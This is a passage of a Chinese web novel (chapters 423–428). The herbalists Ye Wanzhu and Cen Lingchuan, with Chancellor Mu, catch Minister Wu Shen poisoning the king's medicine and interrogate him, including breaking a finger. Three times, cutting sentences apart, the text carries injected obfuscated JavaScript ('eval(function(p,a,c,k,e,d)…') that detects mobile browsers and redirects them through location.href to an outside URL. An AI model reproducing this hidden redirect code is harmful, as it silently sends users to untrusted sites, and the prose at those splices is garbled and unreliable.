符绮悄无声息地挪动着椅子,朝岑灵川那边靠近。 难怪岑师弟刚才主动挑了离这位谢都督最远的地方! 这笑容,她瞧着怎么这么吓人呢? 叶晚竹看着谢无咎灿烂的笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16274214|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 容,默了一下,也朝前靠了过去。 “谢无咎,”她一字一顿,“你发现什么了,快点说,别卖关子!” 好端端的,怎么会忽然提起加入他们的计划? 在外人眼里,邵家的二舅和游医能有什么关系不成? 谢无咎定定地看着叶晚竹,嘴角的笑容更是放大,“知我者,晚竹也。” 岑灵川牙酸地嘬着腮帮子,闹了这么一出,敢情是有线索啊! “你——” 他话还没说完,谢无咎便抬手将一个东西拿了出来,推到叶晚竹面前。 “这怎么了?”叶晚竹看着被随意包裹在信纸里的草药。 这是她早上离开的时候,随手而成的作品。 “有毒。” 谢无咎言简意赅,“两味清热的药材里都被下了无色无味的剧毒,服用后会立刻毙命。” 叶晚竹皱起眉头盯着桌上的那些药材。 “不可能!”符绮忍不住跳了起来,“这药是我亲眼看着药房的伙计打包,又亲手送到宫门里来……的……” 话说到一半,她也顿住了。 在宫外没有问题,那宫中呢? 符绮不由得朝叶晚竹看去,又想到了她在酒楼说的那些话。 有人在利用他们送往宫中的药材做事。 “如果没有浮山派的符号,这些药今天早上被送来之后就会去熬煮,再按照旧方送到南疆王面前。” 算着时间,叶晚竹的语气渐渐锐利起来。 “南疆王服药的时间早于他方才发狂的那个时候。” 如此一来,便成了南疆王服下游医研究的药方后,突发急症,模样疯癫。 那根刺入南疆王头顶的金针无毒,最多会让他继续保持癫狂,可他们这两个始作俑者,恐怕就没有那么幸运了。 默默地倒吸一口冷气,岑灵川也从椅子里蹦了起来。 “好啊!这是哪个孙子?原来是冲着我们来的!” “这样更好。” 叶晚竹又缓缓地勾起了一个笑容。 “如此一来,等慕丞相把消息放出去,他是会急,还是会更急呢?” 第四百二十三章 谢都督身上的味道很熟悉 这个幕后之人针对的既然是他们,得知他们竟然能解开南疆王身上的蛊毒,那必定不会善罢甘休。 “好主意!”岑灵川一拍桌子站起来,“正好让我瞧瞧,是哪个没长眼的,竟然敢做出这种事情来!” 他又低低地狞笑了两声,“我让他知道算计我是什么下场!” “师兄,”叶晚竹按了按他肩头,“此事还得先和慕丞相商量一下再动手为好。” “那我这就去。” 岑灵川着实有些迫不及待,站起身便要朝外走,却又被谢无咎拦了下来。 “怎么了?”他啧了一声,有些不耐烦。 谢无咎面上又挂起了笑容,“还有件事。” 他嘴上这般说着,却没再行动,眼风微微朝着站在一旁的符绮扫了一下。 “我出去放行李。” 符绮十分知情识趣,点点头,便拿着自己的包裹离开了房间。 待房门关上,岑灵川刚要再问,一个人影却忽然从上方一跃而下! “隐川?” 看着这个忽然就出现在自己面前的熟悉的人,叶晚竹忍不住低呼了一声。 “主子。” 隐川朝着叶晚竹躬身行礼,一路奔波,风餐露宿之下,他的模样显得清减了不少。 “隐川是今天早上来的,还带了倪相的信。” 谢无咎这会儿又坐回了桌边,慢悠悠地给自己倒了杯茶,“拿出来吧,我们看看。” 隐川闻言立刻将怀中的密信双手呈给叶晚竹。 他到南疆其实已经有几日的功夫了,为了悄无声息地潜入王宫,这才多花了些时间。 只是他还是没想到,自家主子和主子的师兄竟然在南疆王的眼皮子底下大变活人! 叶晚竹接过书信,看到信封上“谢子侄亲启”五个大字,不免犹豫了一下。 “是写给你的。”她看向谢无咎。 谢无咎正在喝茶,动作越发不紧不慢,“无妨。” 闻言,叶晚竹先是顿了顿,随即便动手将书信拆开看了起来。 倪宰相写来的这封信不算太薄,字迹也密密麻麻,叶晚竹看着看着,表情逐渐变得十分精彩。 “那老头儿写了什么?” 岑灵川看着黑压压的笔迹就眼晕,望着叶晚竹的脸色又十分好奇。 叶晚竹没马上说话,又把信里的内容仔细读了两遍,这才抬起头来。 “靖安侯真的叛变了?” 这话,她是看着隐川说的。 “啊?”岑灵川闻言第一个跳了起来,“怎么会?他和那秃驴也能混到一起?” 这不应该吧? “目前看来是这样的。”隐川点了点头。 岑灵川正要更加幻灭,谢无咎轻笑一声,“倪相虽然上了年纪,但头发保护得还不错,若是让他听见这话,师兄,你少不了要受两句埋怨。” “……” 岑灵川顿了又顿,方才反应过来靖安侯是叛出到了自己这边! 于是他的表情也变得精彩起来。 这都是什么情况? “主子,倪相说他会尽力稳住安王,但靖安侯并不可靠,安王也心机深沉,**能维持多久。” 隐川这时候又低声开了口。 靖安侯和安王毕竟是多年的同伙,说不定一个微小的不同,就能让他们发现什么端倪。 叶晚竹点点头,“我们得尽快。” “正好,”谢无咎语气带笑,“你们要钓的那条鱼,应该能派上用场。” 那鱼偷偷摸摸的,不是天问大师的手下,又想害给南疆王治病的人,最有可能的便是安王了。 几人相视一笑,又纷纷点了点头。 “好了,各自行动。”叶晚竹一锤定音。 谢无咎趁着四下无人离开,佯装什么都没发生过的模样,隐川留在叶晚竹身边,随着她去找慕丞相,依旧和从前那般暗中保护。 岑灵川留在屋中处理那些药材,动作刚做到一半,房门忽然被人从外面敲了敲。 是符绮。 “符师姐收拾好东西了?”岑灵川语气淡淡的,却透着一股熟稔。 当初还在浮山派的时候,他和符绮也是认识的,还一起上过早课。 符绮点了点头,走进屋中,却反手把门关上了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16280492|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你干什么?”岑灵川猛地直起身子。 他对上的是符绮有些严肃的表情。 “刚才那位谢都督……是什么人?”说着话,符绮的眉头又皱了皱,透着犹豫。 岑灵川的表情也淡了下去,“怎么了?” 他不答反问,语气也疏离了几分,符绮闻言抿了抿唇,表情更是纠结。 “那个人的身上有种味道,十分熟悉,”她定定地看着岑灵川的眼睛,“我在天问和尚和他的手下身上都闻到过。” 符绮和浮山派仅存的那些弟子,这些年来在南疆不停地追着天问大师跑,虽然始终奈何不得他们,可却也给他们制造过不少麻烦。 知己知彼,谢无咎身上那淡淡的药香,让符绮一见面就十分在意。 这会儿看着自己说话之后,岑灵川不言不语的模样,符绮便更是皱起了眉头。 “他和那和尚有关系是不是?那你们,你们这是在干什么?” 与虎谋皮? 这个词忽然出现在脑海当中,符绮忍不住打了个哆嗦。 “符师姐。” 岑灵川再开口的时候,语气显得恹恹的。 “谢无咎身上的确有天问那秃驴下的药,可他绝对不是秃驴的人,这一点你大可以放心。” “放心?”符绮挑了挑眉,“那你告诉我,无色无味的剧毒,他是怎么看出来的?” 她抬手朝桌上那些还没处理的药材一指。 岑灵川继续沉默着。 “天问那秃驴学的是血蛊,用的也是各类蛊虫,”符绮语气低沉,“蛊虫发作时是什么模样你也看到了,万一他——” “没有万一。” 忽然打断了符绮的话,岑灵川猛地站起身来,将那些药材一一收拾起来,丢进墙角的火盆。 “没有万一,”他又重复了一遍,“师妹信任他,那我就信任他,我相信他肯定有办法解决自己的问题。” “符师姐,此事你无须担忧。” 说到这儿,岑灵川面上玩世不恭的笑容也已经全部消失,他面无表情的模样看上去十分慑人。 “我——” 第四百二十四章 一出好戏 还从未见过岑灵川如此严肃的模样,符绮不由得张了张口,还没来得及再说什么,岑灵川便绕过她,径直走到桌边拿起油灯,将火盆中的药材点燃。 火光渐渐漫上,烟尘中也升起了药香,岑灵川推开窗户,背对着符绮这才重新缓缓开口。 “符师姐,你跟天问那秃驴斗了这么多年,肯定也能感觉得到,此人最擅长挑拨离间,扇阴风点鬼火。” “你莫要中了他的计,这种时候,我们最需要的就是团结。” 团结。 听着这话,符绮深深地吸了一口气,努力地将心底的不安全都压了下去。 “你说的对,”她定了定神,“团结,对,团结……” “符师姐,”岑灵川依旧目视着前方,“刚刚见到谢无咎的时候,你也没有这般异常,是发生了什么事吗?” 符绮的身子又是一僵,她停顿片刻,再次压低声音。 “方才是没有的。” 方才没有? 那就是其他的时候有咯? 岑灵川不动声色地挑了挑眉,依旧没有开口。 “你们刚刚出现在南疆,还大闹了一场之后,便吸引了我们的注意力。” 符绮眉头微皱,开始思索先前的一幕幕。 “我们派人私下调查你们的身份和行踪,不知道是谁说了几句,说这个邵家的二舅瞧着不一般,和邵家人的模样格格不入,别是什么……什么奸细走狗。” 这无疑是给符绮心里种下的一颗种子。 说着话,符绮自己也是一惊,“难道说……” “你们的动作大概是已经暴露了,”岑灵川毫不留情地捅破,“天问那死秃驴前段时间执掌了南疆的大权,我想,你们的举动应该是被他注意到了,想趁机来个一石二鸟,挑拨我们互相攻击。” “这个贱骨头!” 眯了眯眼,符绮也反应过来,恨恨地一拍桌子! “我不会放过他的!” “武馆也不安全了,咱们今天的举动,保不齐已经被那秃驴看在了眼中。” 岑灵川依旧在望着窗边升起的滚滚烟尘,忽然又笑了起来。 “不就是演戏吗?谁不会似的!符师姐,你愿不愿意配合一下,让那秃驴看看,咱们浮山派的本事?” “当然!” —— 二人的计划暂时还没开始实施,还需要一个恰当的机会。 而慕丞相那边则是准备好了钓鱼的一应事项,要唱一场热热闹闹的戏。 九月初一,在慕丞相的带领下,叶晚竹一行三人又一次来到了南疆王的寝宫之中。 比起上次南疆王突然发病时候,这次寝宫内外就显得热闹多了,宫人侍卫里三层外三层地包围着,殿外的空地上还有不少官员。 看着叶晚竹三人出现,众人都伸长了脖子,眼底满是期望和急切。 “这位是柳大夫的大师姐,”慕丞相向站在下方的官员们介绍着符绮,“上一次王上突发急症,恰逢这位符大夫前来,才解了危局,真是江山之幸啊!” 听了这话,殿前的官员们都纷纷露出了敬佩惊讶的神色,赞许之声也不绝于耳。 慕丞相没再多说什么,转头便将符绮率先请进了寝宫之中。 叶晚竹和岑灵川也先后跟上,等轮到官员们要入殿,却见着慕丞相抬起了一条胳膊。 “众位,”他朗声笑笑,“符大夫说,替王上检查毒性,要用到他们师门的密学,不便现于人前,所以有劳众位和老夫一起在外面等候了。” 他说话的时候,殿门已经从里面被关上,顿时隔绝了两个世界出来。 “这怎么行?” 一个胡须花白的老大人不赞同地皱起了眉。 “再怎么说他们也都是外人,怎么能放着他们独自和王上接触?若是有个三长两短,慕相打算怎么交代?” 他的语气越到后面越气势汹汹,慕丞相不动声色地朝着这位面上看了一眼。 是掌管户部的周大人,周氏也是王都权贵中十分声名斐然的一支。 “周大人啊,”慕丞相眯着眼笑,“有段时间没看见您了,最近户部的事项一定非常 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16280493|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 繁忙吧?忙得您只能心念王上。” 周大人的老脸忍不住一红。 这分明是在说他从来没进宫问候过南疆王! “这,这是自然!”他梗着脖子,“王上身中奇毒,我等当然要多多替王上分忧!” “那就有劳您低声些。” 慕丞相还是笑眯眯的,让周大人觉得自己的拳头是打进了棉花里。 他悻悻地还要张口,却又被慕丞相截住了话头。 “您既然也知道王上的情况不妙,里面那几位是眼下唯一有希望替王上解毒的人,关键时刻,只能从权。” 慕丞相挺直了腰杆站立,语气越发从容,却有一阵淡淡的压迫感从他身上散发了出来。 “寝宫里里外外都是安排好的精锐,里面的人若是胆敢对王上不敬,只要打开这扇门,就会被砍成肉泥,这样的后果,我想,只要是人就会认真思量一下的。” “不仅是他们,任何人,今日敢轻举妄动,都会得到相同的结果。” 听到这儿,周大人忍不住猛地打了个寒战,感到慕丞相冰冷的目光直勾勾地落在了自己身上。 他想抬头,后脖颈却好像被什么东西压住了一样,动作不得,就连呼吸都变得有些困难。 “当然,那两位大夫尽心尽力地替王上解毒也有段时日了,他们的努力,连同本相在内,大家应该多少都有看到过吧?” 慕丞相忽然笑了笑,又低下头。 “周大人啊,”他的语气带着疑惑,“好端端的,你为什么要怀疑这些给王上解毒的人,会生出什么不利的心思?莫非你是得到了什么消息?” 慕丞相轻声细语,周大人却听得背后发凉,全身上下的汗都在争先恐后地往外冒。 他咽了咽口水,开口时声音有些哆嗦,“怎,怎么会呢……” “周大人,”慕丞相又严肃起来,“您若是知道什么,可要马上说出来,万一贻误时机,真让王上出了什么意外,这后果……” 周大人的两条腿抖得更是厉害,正手足无措,殿中忽然传来了脚步声。 第四百二十五章 王上有救啦 殿门前众人全都抬起头看了过去。 “柳大夫,情况如何?” 看到门后的叶晚竹,慕丞相顿时转移了注意力。 “师姐说她似乎见过和王上所中类似的毒,”叶晚竹的语气透着轻快,却也是急促的,“不过还需要进一步确认。” 这听上去已经是天大的好消息了,随着她话音落下,殿前等候的大人们也忍不住窃窃私语,面上也亮起了几分。 “慕丞相,”叶晚竹这时候又开了口,“师姐说她还需要一些药材。” “本相这就派人去寻。”慕丞相立刻一口应了下来。 叶晚竹从袖中拿出一个信封,慕丞相接过后,正要离开,目光却忽然落到了周大人的身上。 想着刚才的那几句话,周大人本能地往后退了两步,连脖子都缩紧了。 “本相现在要去筹备药材,这里的事情,暂时就交给周大人吧。”不料慕丞相开口却说了这么一句。 周大人先是一愣,随后眼珠子转了转,立刻应了下,“下官,下官保证办妥!” 如此一来,这里再出现什么情况,那可就是周大人的问题了。 慕丞相不动声色地和叶晚竹交换了一个目光,随即行色匆匆地离开了。 叶晚竹也重新关上殿门,折回寝宫之中。 偌大的殿前空地上,一众官员们这便控制不住地低声讨论了起来。 “没想到,这游医还真有两把刷子啊!” “别是空口说大话吧?那可是国师制成的蛊毒,寻常人能这么轻易地就解开?万一是骗人的呢?” “怎么骗?话都说出来了,真要是弄虚作假,她们今天还能走出这个寝宫吗?” “况且那大师姐还救了王上一回,要不然,王上也不能这么轻易就松口。” “松什么口啊,王上都没清醒过来呢……” 各色讨论围绕在耳边,搅得吴慎大人心里一阵一阵地起伏不定,整个人更是好像被什么扼住了脖子,哽得想开口都做不到。 这可怎么办? 寝宫里面的那几个游医,看起来怎么好像真的能把王上治好的样子? 自从和那位陌生的黑衣男子聊完,吴慎大人已经好长一段时间夜不能寐,整日都在想着要怎么样才能完成那个该死的任务! 他就不该多嘴! 可事已至此,再后悔也晚了! 好在那黑衣男子并不是说空话,当真送来了一个沉默寡言的手下,除了杀掉那两个游医,可以帮他做任何事。 吴大人费了九牛二虎之力才想到那样的一个办法,可没想到,竟然没奏效! 不仅如此,还吸引来了这么一个厉害的人物! 怎么办?怎么办? 心绪是一团乱麻,吴大人压根顾及不到身边的官员们都在讨论什么,兀自垂着脑袋思考,却越想越乱。 “我觉得就是他。” 叶晚竹和岑灵川这会儿正趴在窗户后面,小心翼翼地窥探着外面的场景。 热烈讨论的官员们和站在其中格格不入的吴大人,两相比较,分外明显。 岑灵川眯着一只眼,“那天在寝宫之中的大人们里也有他,应该是错不了。” “英雄所见略同。”叶晚竹点了点头,“我这就去给慕丞相传信。” 今天围在寝宫附近的都是王后的亲信,官员们忙着讨论屋里发生的事情,没人发现一个小兵悄悄地顺着小路离开。 吴大人更是惶惶不可终日,周遭人说话的声音在他耳边是一片朦胧,他微微哆嗦着,甚至没有发现自己背上的衣衫都被汗水浸湿了。 “大人?吴大人?您没事吧,是不是不舒服?” 还是旁边的两个官员发现了他的异样,上前一问,从思绪中惊醒的吴大人顿时身子一颤,险些摔倒在地。 “诶呦!” 那两位连忙伸手把人扶住,吴大人定了定神,不住地擦着冷汗,“我,我没事……就是昨夜熬得有些晚……” 话说到这儿,他顿了顿,忽然攥起了拳头。 “老了,熬不得了。” 苦笑着,又连连咳嗽,吴大人摆了摆手,强撑着站起身子,脸色变得更加苍白。 见状,周围的官员们都面露不忍,又七嘴八舌地劝着他去休息一下。 吴大人面露犹豫,最后还是点了点头,步履蹒跚,一摇一晃地往院外而去。 看着他的模样,大人们又是一阵唏嘘。 早就听说吴大人未老先衰,力有不逮,没想到情况居然比传言更加糟糕! 唉! 被同僚们念叨着的吴大人还没走出寝殿几步,便又脚下一软,这回彻底摔在地上爬不起来了。 “吴大人诶!” 负责护送吴大人的是个小太监,得力的公公们今天都得围在寝宫,没空理会外面。 小太监使了吃奶的力气,又抱又拖,还是没能把吴大人从地上弄起来。 吴大人也气喘吁吁地配合着,奈何整个身子一动不动。 “肯定是……旧疾犯了。”他满头大汗,呼吸也很急促,“这位小公公,有劳你去宫外跑一趟,我的仆从那里放着药,我吃一丸就好了。” 小太监闻言皱了皱眉,不太放心,“那您……” “你再扶我一把,我靠着墙边休息一下。” 吴大人阖着双眼,说话有气无力的,好像随时都有可能晕倒过去。 小太监不敢耽搁,又使出了吃奶的力气,勉强把吴大人靠着墙放好,见他呼吸微弱,怎么都叫不醒,又连忙转头撒开腿没命地往宫外的方向狂奔而去! 他一点儿都没想到,有出气没进气的吴大人将眼睛睁开一条线,默默地注视着小太监的背影消失,四下也无人之后,便一个鲤鱼打挺从地上跳了起来! 没多少机会了! 今日的重头戏在王上的寝宫,其他地方的守卫相对薄弱,吴大人一路躲着巡逻的侍卫和宫人,愣是没被发现地溜到了御医署。 果然,几个御医正在进进出出,手里还拿着几个纸包。 “慕相说这百谷草要干什么?静置?”其中一人的语气煞是不解。 “你管这么多干什么?快快快,把东西放到屋里去!” 第四百二十六章 鱼上钩了 从屋中迎面又走出两个人,看见御医们手里捧着的东西,二话不说便一迭声地催促起来。 御医们被催得一路小跑,一转眼就消失在吴大人的视线之中。 院里又窸窸窣窣地吵了一阵,声音渐渐放低,慕丞相身边的那几个随从,还有德水手下的太监们先后离开,匆匆又朝着寝宫方向而去。 听着他们口中的一系列安排,吴大人攥紧拳头,佯装什么都没发生过似的,摇摇晃晃地现了身朝御医署而去。 这会儿院中只剩下了几个御医,正在进进出出地清洗草药,准备熬煮,看见吴大人前来,又听他呼哧带喘的声音,还有那惨白的脸色,连忙让人将他带到屋中,又给他喂了几丸恢复精力的药。 “大人,您在这儿休息一会儿,我等要给王上准备药材去了。” 御医们今天忙得脚不沾地,偏偏还有吴大人这样的突发情况,语气更是着急。 吴大人一只手抚着心口,虚弱得只有睁开一只眼睛的精力,勉强挤出一点道谢的声音。 御医们连连摆手,又飞快离开,屋中一下子就安静了下去。 直到外面的声音完全消失,吴大人才睁开双眼,小心翼翼地走到房门边,贴着门缝仔细打量。 御医署分前后两院,前面是御医们日常办公,开方抓药的地方,后院便是药库和临时休息所用。 这会儿御医们都在前面热火朝天地忙活着,后院空无一人,吴大人看准机会溜了出去,蹑手蹑脚地往墙边最不起眼的一间小屋里摸。 他刚才听见那些御医们的话了,王上要用的百谷草,就放在这里静置! 他还听见,百谷草是这道药方里最重要的一味! 这是他最后的机会了! 吴大人顺利摸进了那间小屋,里面一个人都没有,他小心翼翼地关上房门,感觉自己的心好像都快要跳出来了。 还好,什么都没发生,那包百谷草也安安静静地被放在桌上。 一只手捂着狂跳不止的心,吴大人用另外一只手伸进怀中,摸出了一个早就准备好的小纸包。 自从开始这样的计划,他便一直随身带着药,以备不时之需。 深吸一口气,吴大人一步步走到桌边,撕开纸包便将里面的药粉撒到了百谷草上。 白色的药粉触碰到草药之后,很快就消失不见,似乎是被吸收进去了一般。 静静地看着这个过程结束,吴大人丢开纸包,长长地松了一口气—— “大人?下毒呢?” 猝不及防的声音从头顶传来,吴大人整个人猛地一颤,忍不住从地上跳了起来,“谁!” 黑影一闪,一张熟悉的脸出现在他面前! 竟然是那个游医? 眼神一晃,吴大人的心也跟着重重地向下坠落! 不好,不好! 他转身要往外跑,下一刻却被狠狠掼倒在地! “吴大人,下了毒就跑,这不好吧?” 岑灵川一手抓着吴大人的手腕,将他按在地上动弹不得,语气里的笑意却越发明显。 “我们已经找了你好久了,大人,藏得够深啊。” 吴大人奋力挣扎了几下,忽然高声怒吼,“放手!你们这些心怀叵测之徒,混进宫中就是为了对王上不利的吧?来人,快来人啊!” 他扯着嗓子大喊大叫,心底不断祈祷,前院的那些御医可一定要听见这边的动静啊。 “杀人了!有人要对王上不利!” 吴大人喊得声嘶力竭,却迟迟得不到回应,背上的冷汗已经又一次地冒了出来。 “大人,还有什么词要喊的?” 岑灵川听了半天才懒洋洋地开口,“要不我帮你一起?” 吴大人这会儿哆嗦得更加厉害了,几乎要控制不住自己的嘴唇,说出来的话快而含糊,“你,你们连御医署都能收买?” 不然的话,怎么他在这里闹腾了这么久,都没有人过来看看呢? 话出了口,吴大人又忽然感到有什么不对。 不过是两个游医,怎么可能控制得了宫中的人? 难道说…… “哼。” 一个无比熟悉的声音响起,吴大人顿时僵住,片刻后难以置信地朝着发声的地方转过头去。 “你,你你……”他目眦欲裂地看着从药柜后走出来的慕丞相! “我什么?” 对上吴大人一脸灰败的模样,慕丞相便显得有气势多了,不过一双眼中却闪着冰冷的愤怒。 “若不是亲眼所见,老夫当真是不敢相信,吴大人,你竟然会做这样的事情!” 重重地拍了一把放着百谷草的桌子,慕丞相的声音越发冷厉。 “你敢毒害王上!” “谁说是我了?” 几乎是条件反射地嚷了一句,吴大人哆嗦得更加厉害,他被岑灵川抓着后衣领站起身,眼底也闪动着疯狂的亮光。 “是,分明是你!”他用力瞪大双眼,孤注一掷地望着慕丞相,“是你想毒害王上!这几个游医都是你找来的人,要故弄玄虚,好给王上下毒!” “被抓个正着你还敢抵赖?” 岑灵川难以置信地听着吴大人口出狂言,手上也忍不住越发用力,“老实点,当我们都是瞎子不成?” “你们都是一伙儿的,欲加之罪,何患无辞!” 吴大人显然也是豁出去了,又用力挣扎了几下。 “你们杀了我吧!”他接着大喊,“有本事就让我死在宫中,否则,只要我还活着,就一定会向王都的所有人,还有天下人揭发你们的阴谋——” 他虚张声势的喊声被慕丞相一个响亮的耳光扇得无影无踪了。 “愚不可及!无可救药!” 慕丞相的呼吸也粗重了几分,明显是被吴大人气的,他收回手,神情阴沉地盯着吴大人看了片刻,再开口时十分艰难地压抑着愤怒。 “是谁让你这么做的?” “吴慎,别跟我打马虎眼,你好好地做着刑部尚书,怎么会想到给王上下毒?” “现在就老实交代,说不定一切还来得及。” 吴大人被那一巴掌扇得头晕眼花,依旧咬死,“欲加之罪,何患无辞!” “诶你——”岑灵川啧了一声。 “把人带上来!” 第四百二十七章 被人卖了还在倒数钱呢 一只手搭在岑灵川肩膀上,止住他的动作,慕丞相一边朝着身后又吩咐了一句。 两个随从很快押着一个人走上前来,推到吴大人身前。 是府中的管家。 “唔唔唔!” 管家双手被反绑在身后,嘴里也塞上了布条,睁大双眼看着自己的主子,脸上写满惊恐。 吴大人的眼底这会儿也爬上了一丝慌张。 “你,你们要干什么?”他依旧嚷着,只是越发声厉内荏。 “你的管家已经交代了一切。” 慕丞相的声音这会儿落到吴大人耳中,就显得无情又冷酷了。 “和你私下会面的那个神秘人是什么来头?他又要让你做什么?” 咬紧牙关,吴大人感到自己的衣裳似乎已经全都被汗水打湿了。 “还不想说?” 岑灵川见状越发不耐烦起来,抬手把吴大人的脑袋按倒在一旁的桌上,让他直直对着那包百谷草。 “你不会以为我们真不敢杀你吧?” 冷笑着,岑灵川的语气分外无情。 “你一个给王上下毒的罪人,有什么可耀武扬威的?我现在就宰了你,你还能活过来给我们泼脏水不成?吴大人,你这个脑子,果然和传言中说的一样不好用啊。” 听着岑灵川这连嘲带讽的语气,吴大人忍不住又攥紧了拳头! 可他张了张嘴,还是什么话都没能说出来。 那下了药的百谷草就在眼前,他实在是不敢轻举妄动! “软骨头的懦夫。” 嗤了一声,岑灵川手上的动作还是没变。 “老实交代一切,否则,我现在就让你当你想象中的王上。” 他又押着吴大人的脑袋往前松了松,吴大人下意识地抿紧了嘴唇。 “说吧。”慕丞相厌烦地转过身,找了张椅子坐下来,轻轻阖上双目,似乎是不想再多看吴大人一眼。 看着这位的动作,吴大人的心里又是一阵气恼,止不住地翻江倒海。 凭什么? 这个靠家族登天的老头,他到底凭什么这么嚣张? “还不想说?” 看吴大人只愤愤地盯着慕丞相,依旧没有要开口说话的意思,岑灵川耐心耗尽,抬手就掰断了吴大人的一根手指。 “啊!” 惨叫声响起,吴大人哆哆嗦嗦地缓了半晌,才从不可置信的情绪里回过神来。 这,这些人竟然真的敢动手! “你再不说,我还有别的招呢。” 岑灵川俯下身子,幽幽地在吴大人耳边低语呢喃。 吴大人猛地抖了一下,哭嚎出声,“我说!我说!找我的人是一个,一个……” 说实话,对于那个跟自己交易的神秘男子,吴大人也知之甚少,他结结巴巴地把仅有的那两次见面交代出来,慕丞相听着便皱起了眉头。 “也就是说,那人的身份你一无所知?事后有没有派人去查?” 吴大人眼神躲闪,没说话,但答案已经出来了。 “愚不可及!” 慕丞相忍不住深吸了一口气。 “连对方是什么人都不知道,你就敢跟他合作!” 还能做出给王上投毒这样的事情来! “这,这毒要不了人命……” 吴大人开口交代之后,就被岑灵川又从桌边拎走了,他看着慕丞相冷冰冰投往那包百谷草上的眼神,缩了缩脖子,小声地分辩。 “只是会让人神志不清而已……” 神志不清,还而已? 岑灵川手上又开始加力气,“那我给你喂点,咱们看看效果?别怕,我是神医!” 吴大人连忙把嘴唇闭得不能再紧,脑袋也摇成了拨浪鼓。 见状,岑灵川也跟着冷笑起来。 连手里的东西是什么效果都不知道,就敢随便下手。 果然是个蠢货! “那个幕后之人在拿你当枪使呢,吴大人。” 听着这话,吴大人的表情又变得难看了几分。 “不可能!”他脱口而出。 “哦?”慕丞相的眼神又投了过来,“那怎么谋害王上这么重要的任务,都交给你一个人前来完成?” “你看,”岑灵川也跟着凑热闹,“现在你被我们抓了,你的好伙伴怎么没有出现来帮你?” 他又笑了笑,带着一股促狭,却语气笃定。 “让我猜猜啊,你的伙伴应该是跟你承诺了什么,比如说肯定会帮你的忙,让你全身而退之类的,对吧?” “你现在大可以想办法叫人,看有没有人会来帮你。” 说着话,岑灵川松开胳膊,又往后退了两步,示意吴大人自由行动。 吴大人却站在原地没有动作。 当然没有人会来帮他。 他没杀掉这两个游医,那人的手下跟他说的很清楚,不看到这个结果,是不会出现的。 “现在有点自知之明了?” 看着吴大人变化个不停的脸色,慕丞相收起笑意,面上全是失望。 这个蠢到家的吴慎! 他从前办不好的那些事情,慕丞相也留意过,不管是有心还是无意,吴慎已经把自己的名声作践成了无能老人,慕丞相也不想多管。 可现在,连这种糊涂事都能做得出来,他看吴慎是真的老糊涂了! “你若是不说,待王上清醒过来,便去御前听训吧。” 慕丞相又丢下一句话,吴慎闻言也又哆嗦了一下。 王上是真的要醒过来了? 小心翼翼地睨着慕丞相的脸,没能从上面找到多少端倪,吴大人默了默,终于彻底放弃了抵抗,“我都说。” 王上要醒来,他做的这一切,还有什么意义? 吴大人垂头丧气地交代起了自己的计划,听着这位果然是冲着他们来的,岑灵川磨了磨牙,忍不住又朝着他的屁股狠狠地踹了一脚! “你个不要脸的!”他被荒唐得笑出声来,“还想当丞相?就你这个蠢脑子?被人卖了都不知道,还在倒数钱呢!” 吴大人耷拉着脑袋不出声,一张老脸也臊得通红。 他甚至在认真地怀疑着,自己是不是真的蠢笨,还是装着装着才成了真? 岑灵川又踹了他一脚,把吴大人踹得摔倒在地,这才扭头朝慕丞相看了过去。 “此事与我们师兄妹有关,便由我们做主处理,相爷您看如何?” 第四百二十八章 人都杀了?没有 短暂的沉默过后,慕丞相便答应了下来。 他带着人返回寝宫那边守着,很快叶晚竹便出现在屋中。 “那边怎么样?”岑灵川听了听王上寝宫的方向,安安静静的,什么声音都没有传来。 “谢无咎让人送来了一张古方,据记载能缓解毒性,我交给慕丞相去处理了。”叶晚竹淡淡地道。 慕丞相更在意南疆王那边的情况,她的注意力则是很快集中在了眼前的吴大人身上。 “下毒的人就是你?” 叶晚竹微微一笑,不知怎么,吴大人看在眼中,却感觉浑身上下的鸡皮疙瘩都要冒起来了。 这个女人,怎么看上去这么可怕? 吴大人这会儿已经被五花大绑起来,嘴里也塞上了毛巾,发不出声音,只能一脸恐惧地盯着叶晚竹。 岑灵川上前一步,低声将方才听到的内容都给叶晚竹说了一遍。 “那边的人听到我们死了才会出手,师妹,你看咱们要不要再演一出?” 演戏这件事情,自从找到叶晚竹开始,岑灵川就没少做过,眼下说起来也十分得心应手。 叶晚竹笑了笑,面上没什么表情。 “咱们都死了,那边还要善什么后?” “诶——?” 岑灵川愣了一下,又猛地睁大了双眼! 他怎么也被吴大人的话绕进去了? “你还敢骗我是吧?”咬牙切齿,岑灵川猛地转头朝着吴大人看了过去。 吴大人脸上的表情已经不能用恐惧来形容,他像个活死人似的,只剩胸口急促却吸不上来的气。 “唔唔唔!” 